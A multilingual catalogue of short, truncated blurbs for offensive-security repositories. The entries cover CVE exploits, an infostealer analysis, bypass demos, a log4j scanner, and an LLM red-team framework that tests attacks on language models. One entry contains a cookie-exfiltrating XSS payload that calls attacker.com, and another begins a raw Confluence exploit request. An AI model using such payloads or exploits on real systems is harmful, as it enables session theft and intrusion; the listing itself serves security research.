exploit_playground

Informazioni Questo è il posto dove pubblicherò analisi di exploit pubblici, o alcuni dei miei exploit 1day. Analisi di exploit pubblici Personalmente penso che il modo migliore per imparare un exploit pubblico sia comprenderlo riga per riga finché non lo capisco appieno. Pubblicherò alcuni di...

android-hardware-attestation-demo

Bypass dell'attestazione hardware Android — demo Questo repository accompagna un articolo di Quarkslab sull'attestazione delle chiavi hardware Android e serve a illustrarla. È una piccola prova di concetto end-to-end che mostra un semplice bypass: un analista su un telefono rooted supera il...

hyperhives-macos-infostealer-analysis

HyperHives macOS Infostealer — Vollständige technische Analyse Bedrohungsinformationen: Rust-basierter macOS-Universal-Binary-Infostealer, der über eine gefälschte Job-Interview-Pipeline auf Wellfound ehemals AngelList ausgeliefert wird. Das Betreiber-Pseudonym „Felix" von „HyperHive" lockte Ziel...

CVE-2026-29000

CVE-2026-29000 — pac4j-jwt JWE Authentication Bypass CTF-Lab zur Untersuchung der JWE-Authentifizierungsschwachstelle in der Bibliothek pac4j-jwt CVSS 9.3 Critical · CWE-287 · Betroffen: pac4j-jwt ← Zugriff auf Admin-Panel ↓ Sensible Daten lesen: Mitarbeiterliste, Systemkonfiguration, Flag...

OutOfTune

OutOfTune Ispirato dall'originale Pytune, OutOfTune registra un dispositivo rogue in Entra ID, lo iscrive a Intune MDM e verifica lo stato di conformità risultante. Supporta solo dispositivi Windows poiché era il mio obiettivo principale, potrebbe aggiungerne altri in futuro. Blog di...

CVE-2023-22527

CVE-2023-22527 Atlassian Confluence - Execução Remota de Código CVE-2023-22527 Poc root@kitploit: POST /template/aui/text-inline.vm HTTP/1.1 Host: localhost:8090 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64 AppleWebKit/537.36 KHTML, like Gecko Chrome/119.0.6045.159 Safari/537.36...

CVE-2026-32201-exploit

Übersicht Python-Exploit für CVE-2026-32201 - unsachgemäße Eingabevalidierung in Microsoft SharePoint Server, die nicht authentifiziertes Netzwerk-Spoofing ermöglicht C:L/I:L. Betroffen: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

cpsniper

cPanelSniper CVE-2026-41940 — Bypass de Autenticação do cPanel & WHM via Injeção CRLF em Arquivo de Sessão Cadeia de exploração em 4 estágios · Shell WHM Interativo · VERDADEIRAMENTE ESTÁVEL para 10M+ alvos · Zero uso de memória · apenas stdlib Visão Geral cPanelSniper é um framework de exploraçã...

redeval

RedEval - Framework di Valutazione della Sicurezza per LLM Un framework completo per valutare la sicurezza dei Large Language Model LLM attraverso test sistematici di attacco e rifiuto. RedEval fornisce una piattaforma unificata, sicura ed estensibile per valutare la robustezza degli LLM contro...

SunnyDayBPF

SunnyDayBPF SunnyDayBPF è una tecnica di ricerca eBPF basata su decezione della telemetria del buffer utente post-syscall originariamente proposta e studiata da Azizcan Dastan. La tecnica indaga se i dati osservati da agenti di sicurezza, logging o telemetria nello spazio utente possano essere...

CVE-2026-21858

CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain Lettura Arbitraria di File Non Autenticata → Forgiatura Token Admin → Bypass Sandbox → RCE...

CVE-2025-61319

CVE-2025-61319: XSS persistente in ReNgine 2. Dopo il completamento della scansione, apri la scheda Vulnerabilità in ReNgine e visualizza i risultati. 3. Il payload viene eseguito nel contesto del browser dell'amministratore. Versioni interessate ReNgine = 2.2.0...

CVE-2025-6934

🚨 Plugin OpalEstate para WordPress - Vulnerabilidade de Escalação de Privilégio Não Autenticada 🔎 Descrição O plugin OpalEstate para WordPress contém uma vulnerabilidade crítica em seu manipulador de registro AJAX, permitindo que usuários não autenticados se registrem como administradores. O...

CVE-2025-4094

CVE-2025-4094 – Plugin Digits WordPress 8.4.6.1 - Bypass de Autenticação OTP Autor: Saleh Tarawneh ID CVE: CVE-2025-4094 Gravidade: Crítica CVSS 9.8 Status: Corrigido na versão 8.4.6.1 Descrição da Vulnerabilidade O plugin Digits WordPress anterior à versão 8.4.6.1 é vulnerável a ataques de força...

Log-4j-scanner

log4j-scan Um scanner totalmente automatizado, preciso e abrangente para encontrar hosts vulneráveis ao log4j Recursos Suporte para listas de URLs. Fuzzing em mais de 60 cabeçalhos de requisição HTTP não apenas 3-4 cabeçalhos como em ferramentas anteriores. Fuzzing em parâmetros de dados POST HTT...

CVE-2026-24061-POC

Laboratório Vulnerável CVE-2026-24061 ⚠️ AVISO : Ambiente intencionalmente vulnerável. NÃO exponha a redes não confiáveis. Visão Geral telnetd vulnerável do GNU InetUtils v2.5 para testar a CVE-2026-24061 - bypass de autenticação via injeção de argumentos. Início Rápido root@kitploit: Build sudo...

cwe-sdk-javascript

cwe-sdk SDK بلغة Node.js لتعداد نقاط الضعف الشائعة CWE متوافق مع MITRE / CAPEC...

send

@fastify/send Send è una libreria per lo streaming di file dal filesystem come risposta HTTP, con supporto per risposte parziali Range, negoziazione condizionale GET If-Match, If-Unmodified-Since, If-None-Match, If-Modified-Since, elevata copertura dei test ed eventi granulari che possono essere...

ai-kill-chain

Cyber Kill Chain estesa per le minacce dell'era AI Un aggiornamento alla Cyber Kill Chain di Lockheed Martin per i difensori che operano contro attacchi LLM e AI agentica. Aggiunge una fase pre-attacco per la compromissione della supply chain dei modelli. Aggiunge sotto-tecniche specifiche per l'...

CVE-2021-45416

CVE-2021-45416 Vulnerabilidade de Cross-site scripting XSS refletido no RosarioSIS 8.2.1 permite que atacantes injetem HTML arbitrário por meio do parâmetro searchterm no script modules/Scheduling/Courses.php. Fornecedor: francoisjacquet Site do Fornecedor: https://www.rosariosis.org/ Produto...